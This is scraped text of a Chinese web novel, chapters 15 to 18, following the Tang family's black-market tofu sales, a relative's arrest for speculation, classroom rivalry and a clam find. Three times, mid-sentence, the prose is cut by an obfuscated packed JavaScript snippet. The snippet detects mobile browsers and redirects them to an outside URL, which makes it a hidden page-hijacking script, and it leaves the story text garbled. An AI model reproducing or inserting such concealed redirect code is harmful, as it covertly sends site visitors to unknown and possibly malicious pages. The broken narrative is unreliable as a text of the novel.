RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055410|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的神仙豆腐就卖完了,还有人想买,但实在是卖光了唐实就跟他说了他五天后还来这里卖。 在回去的路上,唐实感觉心里有股热乎劲,也不觉得累了,脚步都轻快着,他已经算过了,这一回卖神仙豆腐一共挣了五块四! 要知道,一般年景,有百分之三十左右的家庭一年到头分不到生产队里一分钱,甚至还欠生产队的帐,就是吃饭的多,挣分的少。有百分之三十左右能分100元左右,其余的百分之四十有分钱但是不多,例如十元或二三十元。 去年年景一般,唐家一年下来工分下来,也就分了三十五元。 而他今天一天就挣了五块四!这几乎是零成本的纯挣五块四啊! 唐实迫不及待的想要回到家里把这个好消息告诉媳妇,而且还没到中午,现在赶回去还能再上半天工,他现在觉得浑身是劲,他要给媳妇和女儿创造好的生活条件。 晚上陈老太把三个儿媳都叫到了她住的那间屋子。 在得知唐实竟然把全部的神仙豆腐都卖出去了,挣了五块四之后,妯娌三个都不淡定了! 十八块钱就能买上一百斤今年新产的大米,换成高粱能买三百斤,两块四毛钱就能做一身新衣服,这五块四对于不少家庭已经意义重大了。 陈老太清了清嗓子,“前儿个我跟你们说的,要是真的卖出去换了钱,你们每房各拿二成,剩下四成放我这里,以备不时之需,每人一块八分钱,你们各自拿着吧。” 钱都是几角一分的小面额,妯娌三人看着手里的钱,心情都非常激动,她们也有钱管着了。 “谢谢娘。” “谢谢娘!” 入夜之后,陈老太单独把姚秋月叫到了她的屋里。 姚秋月身上披着件外衫,秀致的眉宇间微微透露着疑惑,“娘,你叫我来是有什么事吗?” 陈老太把门关上了,确定外边没人,才从那老榆木匣子里数出一块八分钱塞给她。 “娘,你这是?” “这神仙豆腐是你教的做法,卖神仙豆腐也是你出的主意,所以我单独再给你二成,但别让你两个嫂子知道了,我怕她们心里难免多想。” 姚秋月把那钱往陈老太手里塞,“娘,那是你收着吧,你留着以后万一要用的时候再用。” “家里每年的进项大头都在我手里拿着呢,这另外二成这是你应得的,快拿着。”陈老太却是不接,“你是个心眼好的,进门这些年委屈你了,甚至你嫁进来的时候那年家里穷,也没给你们小夫妻的婚房添置什么新东西,就新弹了两床棉被,添置了两个新的脸盆,我老婆子心里一直觉得亏欠了你。” 姚秋月倒是没计较过这些,但听着婆婆心里还惦记着,感觉鼻子有点酸,她悄悄把眼角的泪水擦了,挤出笑容道,“都已经过去那么多年了,娘你还扯这些陈芝麻烂谷子的事做什么,这单独的二成我收着就是了。” 15. 第15章 唐家今天是到姚秋月做饭,想着家里也有段时间没吃包子了,就特意发了点面,做了香辣豆腐馅的包子,还有玉米碴子粥,那包子也太香了,里边加了葱和韭菜,大人小孩吃了都赞不绝口,表皮松软,香辣鲜香,软糯入味,吃起来特别过瘾。 唐宝儿吃了两个大包子,喝了一小碗粥,才把嘴一抹上学去了。 上午第一节课是算术课,上课铃响后,胡老师拿着教材和一盒粉笔进来了,他看着下面闹哄哄的学生,清了清嗓子,“安静!” 课堂很快就变得安静下来了,胡老师又单独点了吴春红的名字,叫她起来。 “从今天开始,吴春红同学将担任咱们班级的算术课代表,以后大家要多向吴春红同学学习,有什么不懂的问题及时向吴春红同学请教!大家鼓掌!” 算术课代表?班里的同学还是第一次听到这样的词,那是不是意味着吴春红算术很厉害的意思?吴春红还当上“官”了?大家都有些纳闷,不过还是鼓起掌来。 胡老师的一番话让吴春红的虚荣心得到了极大的满足,她微微扬了扬下巴,看向鼓掌的唐宝儿,心中有种说不出的得意。 这辈子所有的风头都只会是她的,人群中的主角也只会是她。 下课后,吴春红还专门到讲台上发表了一番讲话,“胡老师选我做算术课代表是对我能力的肯定,说明我的算术水平是我们全班最高的,以后大家有没学会的算术题都可以来问我,不用去“麻烦”唐宝儿同学了,毕竟唐宝儿也不是算术课代表,万一给大家教岔了就不好了。” “她这是什么意思?不让咱们以后去问宝儿算术题了?”罗苗苗皱眉,一开始明明是吴春红看不上他们,她才转头去向唐宝儿请教的啊。 在路过唐宝儿身边时,吴春红有些得意,“我知道你喜欢被人追捧的感觉,但现在我才是算术课代表。” 唐宝儿上次就觉得吴春红怪怪的,现在吴春红对自己的恶意算是摆到明面上了,唐宝儿维持着礼貌道,“吴春红同学,你误会了,我给同学解答只是出于同学之间要互相帮助的想法,不是为了任何人的追捧,而且,算术课代表也没有权利干涉别人的学习生活。” 吴春红不屑的“切”了一声,忍不住翻了个白眼,没想到唐宝儿虚伪清高的一面这么快就暴露在自己面前了,如果不是为了虚荣,谁会去做帮助同学那种吃力不讨好的事情! 下午是语文课和图画课,穿着白衬衫和一条军蓝色裤子的高老师走了进来,她说话也很有威严,“经过我和胡老师的商议,我们决定算术课和语文课各选一名课代表,带领全班同学实现对该学科的成功学习,上午的课胡老师应该也跟你们说了,他选定的算术课代表就是吴春红。” “至于语文课代表,就由唐宝儿担任,同时兼任咱们班上的学习委员,主要负责开展班级学习工作。” 唐宝儿突然听到高老师念自己的名字,还让自己担任语文课代表和学习委员,这突然而来的消息让她有些惊讶了好一会,察觉到众人都在看自己,虽然脸上有点火辣辣的,心里却美滋滋,同时也感觉到了这会是一份很沉重的责任。 既然高老师选择将这两个重要的职位交给她,她就一定不能辜负高老师的期望。 吴春红听到高老师的话,脸上瞬间就不淡定了,恨不得一口银牙咬碎,这下唐宝儿不仅跟自己平起平坐了,竟然还比她多了一个学习委员的身份! 高老师看向大家,面带微笑,“除了学习委员外,咱们还要通过民主投票选举出班长、副班长、卫生委员、文艺委员、体育委员、纪律委员等班干部,帮助老师管理好班级,大家有感兴趣且认为自己能够有能力肩负起该岗位职责的,可以踊跃举手,获得最多人支持的担任该职务。” 高老师的话像是在平静的班级投下了一枚石子,班干部?这是不是意味着在班级里当“官”了? 这可真是太新鲜了!同学们情绪高涨,热烈,争先恐后的想要担任班干部。 吴春红也竞选了班长,她对服务班集体没兴趣,就是当了班长就能压唐宝儿一头了! 但是她平日里人缘就不怎么样,也没有人投她,最后是一个叫苗卫明的男生担任了班长,而罗苗苗担任了文艺委员,成和则担任了班上的体育委员。 哪怕是放学后,大家都还在激动的讨论着班干部的事情,叽叽喳喳的,吴春红这个算术课代表反而没有人在意了。 “太好了,没想到我也当上“官”了!俺娘要是知道了肯定夸俺有出息!” “要我说啊还是宝儿最厉害,不仅是课代表,还是学习委员!” 唐实这神仙豆腐卖出了十月,刨去一点微薄的成本投入,净赚了有五十多快!这可乐坏了唐家人,这也就一个半月的时间,竟然就比去年一整年挣工分的收入都高了,感觉这日子都有奔头了不少。 就是神仙豆腐这玩意有季节性,等天气转凉了,这神仙豆腐就不好卖了,姚秋月心里盘算着等入冬了,要是抓得不严,不知道能不能再让唐实去想办法进点化纤棉回来在黑市上卖。 眼下她手里已经有了二十一块四毛钱,这也算得上是一笔“巨款”了,大房和二房各分了十块七,钱刚拿到手,林丹红就迫不及待的那这钱去做了身的确良的新衣裳,穿着光鲜亮丽的回了趟娘家,侯松梅给大儿子买了很久都舍不得买的新篮球,给小儿子买了一副中号的玻璃围棋。 而姚秋月却没着急着花这钱,宝儿的衣裳已经在开学时新做过,她除过让唐实把能买到的今年的报纸都买了回来,剩下的钱都存起来了。 林丹红回娘家的第二天,又是黑市交易的日子,这一次做的神仙豆腐估计有差不多六十斤,背着六十斤的树豆腐走上十几里的路,哪怕是唐实都有些吃不消,但挣钱的念头一直在激励着自己,咬咬牙,总算硬扛着到了黑市的交易地点。 往日到了黑市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055411|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唐实的神仙豆腐总是备受欢迎,但今日却不知怎么回事,半个小时过去了却只卖出了几块,他有些纳闷,不知道原因出在了哪里。 姚秋月洗完衣服从河边回来时,就撞见穿着一身蓝咔叽布中山装的陈方平手里挎着辆自行车,面带急色的东张西望着,像是在等什么人。 “嫂子,实哥在吗?” “他出门去了!” 陈方平将姚秋月拉到了一旁,压低音量道,“嫂子,我这趟过来就是给哥提个醒,上边下了文件要抓投机倒把呢,你可千万别让实哥先避避风头,这生意咱不能再干下去了,别到时候赔了夫人又折兵!” 陈方平和唐实毕竟是一条裤子穿到大的兄弟,唐实在干什么也瞒不过他。 陈方平一脸严肃,姚秋月听着心里也直打鼓,凝重道,“我记下了,等唐实回来我就跟他提。” 投机倒把可不是小罪名,要是被抓了说不定这段时间挣的钱都赔进去也赎不回人来,还得坐牢连累家里人。 “行,那我就先回公社了。” “麻烦你跑一趟了。”姚秋月送了几步陈方平。 往日里唐实上午就能卖完神仙豆腐回来了,可今天却迟迟不见人回来,姚秋月在村口等了半天,想起陈方平特意来提醒的那事,心里七上八下的。 实在等不下去了,忙回家找到了陈老太商量,顺便把陈方平的话都跟陈老太转述了。 “先别自己吓自己。”陈老太好歹是见过世面的人,“等会老二老三他们下工了,我让老三去找找。” “方平只是说下了抓投机倒把的文件,说不定还没开始抓人呢,等唐实回来了,咱们就先停一停,等风头过去了再说!” “就算是被抓进去了,大不了把钱都投进去,找找你大哥和方平那边的人脉疏通疏通关系……越是这种时候,就越不能自乱阵脚。” 陈老太的话像是给姚秋月打了一针镇定剂,她点点头,“娘,我听你的。” 下午的时候唐老三先下工回来了,听说了弟弟现在都没回来,脸色也变得严肃起来,将扁担撂了,“我这就找老四去!” 正走出家门口,就看见唐实背着箩筐回来了。 “娘,三哥,媳妇。” 姚秋月这才感觉一颗心落到实处了,要不是顾忌着家里人都在,她真想给上唐实一拳,这样让人操心!“你怎么回来得这么迟?” 唐实将那背篓掀开,起码还剩了一大半没卖出去,“这神仙豆腐没卖完,我就想着再等等,看看能不能多卖一点,就回来得晚了。” 背篓里的神仙豆腐碧绿清润,姚秋月微微皱了下眉头,“怎么今天还剩下这么多?” 往日这神仙豆腐格外畅销,所以妯娌三个昨天才特意多做了些。 “嗐,那黑市上也来了其他卖神仙豆腐的,价格还比咱们的便宜上二分,我想着看是哪里来的同行竞争,一看,原来是二嫂的娘家二哥。” 16. 第16章 众人听了他的解释,看向林丹红的目光都变得有些复杂起来,陈老太直接黑了脸。 林丹红讪笑道,“我昨天穿着新衣服回娘家,几个嫂子追问,我就没忍住把这树豆腐的做法给告诉了他们,反正都是亲戚,我娘家几个哥哥嫂子都不是坏人,有钱就一起挣呗,这有啥的。” “你这是助长他人生路,绝了自家生路!”陈老太话语间已经带了怒气,好不容易有个挣钱路子,没想到这老二媳妇这般拎不清全抖落出去了! “娘,瞧你说的哪有这么严重,这神仙豆腐的做法教给我娘家人,以后他们也会念着咱们家的好,老四媳妇是个厚道人,她肯定不会介意的,对吧?” 唐实听这话都忍不住气笑了,哪有这般绑架人的!正想要上前帮妻子理论,姚秋月便拦住了他。 “这神仙豆腐的做法也不是我自己独创的,就算二嫂的娘家不去卖这个神仙豆腐,早晚也会有其他人去卖,况且眼看着天气要转凉了,这神仙豆腐也会慢慢卖不动了,说不说都没什么关系了。” 林丹红听了姚秋月这番话,腰杆子瞬间便挺直起来了,“哎哟,你们看看老四媳妇这读过书的人就是不一样,看事情就是通透!” “二嫂,今天方平来说上头发话了要严抓投机倒把,你还是给你二哥提个醒,叫他们先别干这营生了,免得被抓进去了麻烦。” “投机倒把?啥叫投机倒把?” “就是非法经营!被抓了很严重,可能会坐牢,还会连累家里人,读书当兵都会受到很严重的影响!”怕林丹红不当回事,姚秋月还将这中间的利害关系给她挑明了。 “行,我改天就去跟我二哥提个醒,叫他们先别做这神仙豆腐了。”林丹红捂着嘴笑道,姚秋月这是拿话唬她呢,不让怎么唐实卖了一个多月的神仙豆腐都没事,她大哥刚开始卖,上头就发话要打击投机倒把了? 陈老太看林丹红的模样,忍不住叹了口气。 “这剩下的神仙豆腐,就当是给家里人加餐了。” 唐老三爽朗的笑了两声,“这下总算可以吃过瘾了,平日想多吃两块,松梅都不让我吃,说这都是要拿来卖钱的,除非有卖剩的,可往日里一直也没看到有剩下的。” 侯松梅嗔了他一眼,“看你那馋样,吃吃吃,今天让你吃个够本。” 唐家只有一个冲凉房,而且离北屋最远,唐宝儿五岁前都是姚秋月给她洗澡,不过上了小学后唐宝儿就不愿意再让姚秋月给她洗了,但是她怕黑,加上夫妻俩也不放心,所以唐宝儿洗澡时,一般姚秋月就在门口打着手电筒等她。 晓巧提着一桶水从冲凉房路过,看见门口等着的唐实,垂下了眼眸,她这个四叔四婶是真心疼爱这个捡来的小堂妹啊。 “爹爹,我好了!”唐宝儿从冲凉房出来带着一身的水汽,洗过的头发柔软的搭在肩头,穿着一套米白色的纯棉睡衣,这年头谁讲究什么睡衣外衣,把外衣一脱光膀子睡就是了,也就是姚秋月给闺女专门做了一套睡觉穿的衣服。 唐宝儿手里提着个桶,里边是她换下来的脏衣服。 “走,咱回屋去。” 唐实嫌宝儿脚上有水走得慢,干脆直接把孩子抱了起来,迈开长腿跨了几步,就回了北屋。 姚秋月正在灯下看报纸,白天要在队里上工,这报纸买回来两三天了也没来得及看。 “娘,你在看什么呢?” “我在看报纸呢。” 唐宝儿看向她面前那堆写满密密麻麻的黑色字体的纸张,“报纸是什么?” 姚秋月将闺女搂到了怀里,顺便用干毛巾给她擦着滴水的头发,“报纸是把每天的大事小事都记录下来,给别人知道的东西,让大家知道今天发生了什么,我们可以从报纸上了解到很多新的信息。” 唐宝儿乖巧的点了点头,似懂非懂。 她忽然想起来一件值得分享的事情,脸上带着灿烂的笑容,“爹,娘,今天高老师让我担任语文课代表和学习委员了!” “这可是一件值得高兴的大喜事!咱们宝儿真棒,真优秀!”姚秋月欣喜的在唐宝儿的脸上亲了又亲,连报纸也没心思看了。 唐实笑得合不拢嘴,“这说明咱们闺女肯定学习好,尤其语文好,以后说不定还能当大作家嘞!” 姚秋月想起自己读书的时候,忍不住感叹道,“娘以前也是语文课代表。” “我是娘的女儿,所以学语文也能学好。”事实上,唐宝儿算术也学得很好,但相比唐宝儿,胡老师显然更看重吴春红。 “等宝儿放假了,咱们就到公社国营食堂去,好好吃一顿庆贺庆贺,宝儿想吃什么咱就吃什么,想买什么咱就买什么!” “娘真好,又可以去国营食堂吃好吃的了!”唐宝儿想起国营食堂里那皮薄馅大,晶莹剔透的鲜美馄饨,忍不住咽了下口水,欢呼道。 门外的晓巧听见了一家三口的对话,神色黯淡无光,她就像是一只不被人重视的小丑,偶然窥见了别人的幸福。 她这个堂妹命可真好,哪怕没有很好的物质条件,却能拥有爹娘完完整整的爱。 晓巧也不幻想着能过多好的生活,要是她的爹娘也能像唐宝儿爹娘疼爱唐宝儿那样疼爱自己就好了。 就这样过了几天,姚秋月正从袋子里舀出两大勺玉米面,打算发点面晚上烙饼吃,就见二嫂林丹红一脸苍白急切的跑了进来,抓住她的胳膊喘气道。 “老四、老四媳妇,我二哥真被人抓去了!娘家都乱成了一锅粥,这下可咋办?!你可得给我出出主意,我记得老四那好兄弟陈方平在公社上班,能不能寻他通融通融,将我二哥放出来?!” 姚秋月也纳闷,“不是让你给你二哥递话说最近在打击投机倒把,先避避风头吗?!” 林丹红眼泪鼻涕一把,“我以为你是拿话唬我,不让我娘家人挣钱,我根本没跟他们说!” 林丹红现在是娘家都不敢回了,人情没落半点好,反而落得一身的埋怨。 林丹红这简直要把姚秋月给气死了,她冷笑了声,其实心里也不太想管这事,“我平白无故拿话唬你做什么?我一个妇道人家也帮不上忙,晚点等唐实回来了,再让他去帮着打听打听吧。” 唐实回来的时候,给林丹红带回来了林老二的消息。 “人被抓进去了,这次是严厉打击,杀一儆百,恐怕得要被关上半年才能被放出来,我找人问了,没办法疏通。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055412|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他叹了口气,心里也忍不住庆幸自己这段时间没去黑市卖神仙豆腐,要是被抓了,他媳妇和闺女两个人就像是失去了主心骨,不知道会有多慌张,多伤心。 林丹红听到这话,忍不住一屁股坐地上了,哭嚎道,“半年?!这可得怎么办啊!我娘家一家老小怎么活哟!” 林老二是全劳力,她娘家一共也就是大哥二哥两个青壮年的全劳力,要被关上半年,这得少挣多少工分,一大家子人靠什么吃喝啊! 姚秋月目露同情,她叹了口气,但也只是爱莫能助。 蒲公英别名也叫婆婆丁,一年四季都有,蒲公英的采挖不受时间的限制,几乎全面都可以被挖掘。 春日里鲜嫩的蒲公英凉拌了,吃起来麻辣鲜香,清爽开胃,满是春天的滋味,而且蒲公英不仅是一种很好的野菜,做成蒲公英茶,一股清新甘甜的味道,而且还有清热解毒,消肿利尿的效果。 姚秋月终于抽出身来,决定趁着还没入冬做点蒲公英茶,什么时候想喝了就能随时喝。 刚好唐宝儿也写完作业了,姚秋月便叫了闺女一起。 蒲公英这东西随处可见,一般人见了也只会以为是野草,从来没想过这玩意能吃,母女俩齐心协力,很快就找了满满一篮子蒲公英。 路上有好事的村民指着那蒲公英笑,“我说唐家老四媳妇,你们家不是好几个壮劳力?怎么都揭不开锅了,要去吃这野草?” 姚秋月也不恼,笑着解释道,“这不是野草,这是蒲公英,用来煮水喝能清热解毒的。” “这玩意能吃?你可别诓我了!”那村民明摆着不信,笑着摇摇头走了。 姚秋月没当回事,牵住唐宝儿的小手往家里走。 林丹红看见母女俩上山一趟就拎回来一篮子野草,忍不住噗呲一声笑了出来,“我说老四媳妇!你是不是糊涂了,怎么摘了一篮子野草回来,你不会还要煮这个吧?那柴火也是费力气才拾回来的,你可别浪费了柴火!” 姚秋月打了井水清洗那蒲公英,闻言也只是笑了笑,“不会浪费的。” 姚秋月把蒲公英上边的泥土泥沙都淘洗干净了,彻底清洗干净后放到漏篮里沥干水分,再切成小段。 唐宝儿已经把火烧上了,姚秋月将切好的蒲公英倒进锅里,翻炒几下蒲公英便开始变软了。 等到炒到差不多的时候,姚秋月就用筷子把那蒲公英给搅散着给它翻炒,继续用小火炒,大概过了半个多小时,蒲公英就变得干燥,看起来很像茶叶的样子了。 盛出来后又晾了一会,让那水汽彻底散发,蒲公英茶就做好了。 姚秋月拿来一个杯子,先给宝儿泡了一杯。 翠绿细长的茶叶慢慢舒展开来,晃晃悠悠沉到杯底,唐宝儿喝了一口不苦不涩只有茶香,还有一股甘甜的味道。 “娘,真好喝,你也尝尝。”唐宝儿忍不住喟叹道,将杯子递到姚秋月的嘴边。 姚秋月就着她的手喝了一小口,“好喝。” “娘真厉害,不仅会做神仙豆腐,还会做蒲公英茶!”唐宝儿莹白的小脸上满是自豪。 林丹红不信邪的让姚秋月给她也泡了一杯,奇了怪了,还真是茶叶的味道! 17. 第17章 高老师在放学前,给他们布置了作业,要求他们全文背诵《吃水不忘挖井人》这篇课文,并且她会在第二天检查。 这对于他们来说可是一个不简单的任务,罗苗苗有些为难,她在背书方面没什么天赋,读上两三遍还是磕磕绊绊的。 唐宝儿现在已经和罗苗苗成为了好朋友,当下就建议道,“你干脆到我们家里去,咱们一块背,这样也有个伴记起来更牢固。” 罗苗苗听到唐宝儿这样说,自然高兴的应下了,“好啊好啊。” 吴春红根本没把背书的任务放在心上,她上辈子可是上过初中的,到时候看上两遍就能记住了,根本不用花费时间在这些事情上。 罗苗苗放学后到唐宝儿家里时,唐宝儿已经早早在门口等着她了,唐宝儿带着她去了北屋,成和已经在那里背着了。 罗苗苗走进唐宝儿家里时,感觉自己像是走入了另一个世界。 明亮,整洁,温馨,屋里仿佛还有种干净的香味,不像她家里的屋子,四处丢得乱七八糟的鞋和袜子,充斥着一股挥之不去的汗臭味,每日能听到的,不是她爹的呼噜声,就是她娘骂骂咧咧的声音。 姚秋月给他们一人端了一杯加了白砂糖的蒲公英茶。 “苗苗,就把这当成自己家,不用拘束。” “谢谢婶婶。”罗苗苗第一次见唐宝儿的娘,没想到唐宝儿的娘竟然长得这么漂亮,说话的声音也特别好听,有这样的娘,怪不得唐宝儿长得也好看。 她端起那蒲公英茶喝了一口,有种草药的清香,甜滋滋的真好喝。 “我们来背书吧!” 罗苗苗才想起这一趟的正事,“行!” 三人先是照着课本读了一遍,“瑞金城外有个村子叫沙洲坝,毛主席在江西领导革命的时候,在那儿住过。村子里没有水井,乡亲们吃水要到很远的地方去挑。毛主席就带领战士和乡亲们挖了一口井……” 唐宝儿在读书时,挺直了瘦小的身板,双手捧着书本两侧,全神贯注,掷地有声的朗读手里的课文。 成和也捧着书本在大声朗读,侯松梅在窗边看见小儿子竟然也在背书,也不由得欣慰地笑了,大儿子成鸣明年就要开始上初一了,成绩一直都不错,不用人操心,小儿子成和没上学之前一直是个贪玩调皮的性格,没想到现在上学了,反而变得有点小大人的模样了。 他们三人先是读了十多遍,然后又轮流背诵,有背不出来的就由另外一个人稍微提醒,十多遍之后,就滚瓜烂熟了。 “终于背下来了。”罗苗苗开心道,感觉心里像是有一道巨石落下了,“千万别今晚睡一觉,明天就忘记了。” “不会的,咱们明天一定能顺利在高老师面前背出来!” 高老师利用放学前的最后一节课检查班级同学们的背诵情况。 并且制定了严格的规矩,“排成队轮流背,背不出来的不许放学,背出来了才可以回家。” 吴春红这才慌慌张张的看了两遍那课文,没想到高老师这老女人竟然来真的,不由得捏了把冷汗。 唐宝儿是第一个背诵的,她背起来很流利,口齿清晰,一个字也没背错。 高老师满意的点点头,“不错。” 大部分同学都顺利的背出来了,他们刚上一年级,老师布置的任务不敢不完成,有几个背得磕磕绊绊的,但高老师稍微提醒了一下,也都能完整的背下来了。 吴春红看着已经空了大部分的教室,原本胸有成竹也变得紧张了起来,“瑞、瑞金城外有个村子叫沙洲坝……瑞金城外有个村子叫沙洲坝……” 看见高老师那雪亮的目光,吴春红就像掉在冰窟里一样,一下子来个透心凉……她结结巴巴地读下去,越读声越小,读得昏头涨脑,读得脸上都是汗…… 之后的内容就像是脑子打结了一般,死活记不起来,吴春红只是匆匆过了两遍那课文,后面的内容根本没印象。 高老师微微皱眉,“到教室后边背熟了再重新背。” 吴春红这学生上课的时候总是不专心,高老师三番几次的提醒她上课不要走神,她也从来不放在心上,但每次回答问题时吴春红却像是事先了如指掌般能回答得上来,所以高老师后面就睁一只眼闭一只眼了。 这篇课文的难度不高,按吴春红的学习水平应该是能背出来的,看来她是压根没放在心上,没有用心背诵。 刚才已经背完课文放学的同学都没走,正扒在窗口看热闹呢,人群中还有唐宝儿,吴春红哪里再看得下课文,她垂下了头,脸色一阵红一阵白,一股莫大的屈辱涌上胸口。 唐宝儿确实在窗口处站着,但她不是看吴春红热闹,而是跟成和一起在等成孝。 成孝是林丹红的心肝肝,她对这个儿子是含在嘴里生怕化了。 平日里吃穿闺女和儿子两样看待,有什么好吃的糖和肉都只舍得给儿子吃,背地里没少给小儿子开小灶,二房分到的那点布票,全用来给成孝做新衣服了,夏天一套冬天一套,可事与愿反,成孝被她养得面黄肌瘦,两个闺女却长得亭亭玉立,成孝玩乐走路都能随风倒。 成孝娇生惯养,脑子也转得慢,握笔学了一个星期都不会握,写出来的字七歪八扭,而且喜欢告状,还总是流口水到衣服上,唐宝儿、成和平日都不咋爱跟他玩。 之所以等他,就是怕他们不一块回去,林丹红瞧见了又该指桑骂槐说他们孤立成孝了。 到最后,教室里只剩下了成孝和吴春红两个人。 吴春红都快要急哭了,谁不知道唐成孝就是一个傻子,她现在竟然跟傻子一起被留了下来,这下真是丢人丢大发了! 那课文她也压根没心情背。 天色一点点昏暗下来,高老师叹了口气,“算了,你们回去吧。” 成和早就等到不耐烦了,成孝就是个笨蛋,他一开始就不 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张兰花正得意洋洋的给村里的妇女说自己家闺女,“我那闺女春红,可真是不得了了!其他人都不会的算术题她一下就能算出来了,那胡老师对我们家春红可看重了,说她是难得的好苗子,还每天中午单独给她开小灶补课,说不能埋没了这么有天赋的好苗子嘞!” “是么?这可真是不得了了,说不定你家春红以后还能成为大学生呢!” 张兰花骄傲的挺直了腰板,“俗话说龙生龙凤生凤,春红她爹从小也是个爱读书的,春红遗传了她爹,我啊,就指望了她以后飞黄腾达了,能好好提携她弟弟春生嘞!” “我记得吴建设不是小学二年级就没继续念了吗?”其中一个村妇道。 “哎哟,那还不是因为老吴家穷,我男人才没能继续往上读的么……”张兰花假装抹了把眼泪,看起来像是心疼男人的不容易,“要是当初我男人继续读了书,说不定现在也不用在田里刨食了,幸好我家春红有出息。” “原来如此。”众人恍然大悟。 几人闲聊着,正巧碰上小学放学,张兰花记得隔壁家的闺女跟自家闺女是同学,忙拦住了她问,“招娣,春红怎么没跟你一块回来?” “春红被留堂了,老师要求背诵课文,春红没背出来!” “一共有几个人被留堂了?” “一共俩,吴春红和唐成孝!” 小女孩清脆的声音就像一块巨石投进了平静的湖面,张兰花感觉脑海轰的一声,小女孩的话显得她刚才的吹嘘是十分可笑,瞬间就站不住脚了! 那几个妇女噗嗤一声忍不住笑出来,“大学生,没见过小学就被留堂的大学生,一共就俩人背不出来,建设媳妇,你家春红可真是个顶顶有出息的!” 张兰花脸红一阵白一阵的,这死丫头,真是让她丢人丢大发了! 18. 第18章 每年农历腊月初十左右,学校就开始放寒假了,唐家孩子不少,每天往山里跑,每日都能找点野菜,捡点柴火回来,对于他们这种家庭也是一种进项。 成和、唐宝儿和晓巧今天倒是凑一块了,堂姐弟妹三人往山里跑,手里还拿了捞鱼的工具,他们听说绿桂山里还有条小溪没被冻住,里边有鱼也说不定,他们这一趟就是为着捕鱼来的。 刚在山脚下,就碰见了吴春红和几个大点的孩子,手里也都拿着捞鱼的工具,看见唐宝儿几人,眼里都冒着些敌意。 这大山里能捕鱼的地方就那么点,自然是占的地方越多,能捞着鱼的几率就越大。 “去去去!这个地方我们占了!”一个黑壮高个子的男生说道,面露凶色,他看起来大概十五六岁,下巴上已经长了一圈青色的胡茬。 吴春红躲在那黑壮男生的身后,看向他们三个人,微微昂了昂下巴。 晓巧他们找了几处,都被占了,晓巧冷笑了两声,“还没见过这样霸道的,把这绿桂山的河沟都当成你们家后院了?” 晓巧年纪大点,她倒是不怕,但他们人多势众,最后还是唐宝儿扯了扯晓巧的衣角,“晓巧姐姐,算了,咱们去别处吧。” 他们女多男少,在力气上就占了下方,更别说成和才是个一年级的男生,晓巧想了下,还是只能放弃了这条河沟,另寻其他河沟。 晓巧他们找了一圈,也没什么收获,不免有些泄气了,“算了,宝儿成和咱们不捞鱼了,去捡柴火吧。” “行,我刚刚看到那边河滩上好像有不少掉落的柴禾,都挺干燥的,捡上两把用藤条捆了背回家去,也能烧上一两天了。” 于是唐宝儿三人就往河滩那边走去,但真到了才发现这里有许多淤泥潭,水草浮在上边,要是不小心陷进去了还是很危险的,唐宝儿刚想提醒两个哥哥姐姐,一脚就踩空了,陷进了淤泥里。 “宝儿!你没事吧?”这突如其来的变故吓了二人一跳,忙伸手去就要拉宝儿上来。 唐宝儿没挣扎,所以人也没继续往淤泥里陷,“没事!就是可惜了我这一身衣服,冬天里洗衣服可麻烦了。” “都什么时候了你还惦记着衣服,手快给我们,我拉你上来!” 唐宝儿刚想上去,就觉得脚下好像有什么异样,她伸手摸了摸,竟然掏出来一个盘口大的河蚌! “河蚌?竟然是河蚌耶?”晓巧成和见状,都不由得睁大了眼睛。 他们以前也吃过河蚌,但都是些小河蚌,还是第一次见这么大的河蚌。 这开上一只,都能炒上一盘菜了! “还有呢!”唐宝儿又在淤泥里边摸了摸,陆陆续续摸出了十几个,都是盆口大的,唐宝儿觉着差不多了,才叫他们把她拉上去了。 三人看着这么多河蚌,高兴得不知该如何是好。 他们用背篓装了沉甸甸的河蚌,心满意足的下山去了,吴春红看到唐宝儿的模样,忍不住噗嗤一声笑了出来,“唐宝儿,你这是摔进哪个臭水潭里了,变得这么狼狈!” 唐宝儿看了眼自己身上的泥巴,裤子已经不忍直视了,上衣头发也沾了不少泥巴,内心也忍不住有些嫌弃,却不想搭她话。 “河蚌?你们哪里摸到的这么多河蚌?!”有人惊呼道。 晓巧看见他们眼睛冒光的模样,再看到他们背篓水桶都空着,一看就是没有捞到鱼,不屑地嗤笑了一声,“在河滩那边的淤泥里,小心别掉进淤泥了淹死了!” 麻雀虽小却也是肉,更何况这河蚌肉做好了也能很好吃的。 唐宝儿他们提着背篓回去时,陈老太正在院子里切一颗老南瓜,看到这几个孩子回来,忙放下了菜刀。 陈老太看见她这副模样,忍不住责骂道,“宝儿?!你这是跑去干什么了?把自己弄成这副模样?!” “奶,你先别管宝儿了,你瞧!这都是宝儿在淤泥里摸出来的!”晓巧跟成和两人用力,将背篓里河蚌全都倒了出来,大概有十几二十个,个个都瓦盆大小,看着都还鲜活着呢。 “哎呦,你们竟然在山里摸到这么多河蚌?!这也太厉害了!”要不是怕弄脏了自己,陈老太真想搂着宝儿好好夸赞一番。 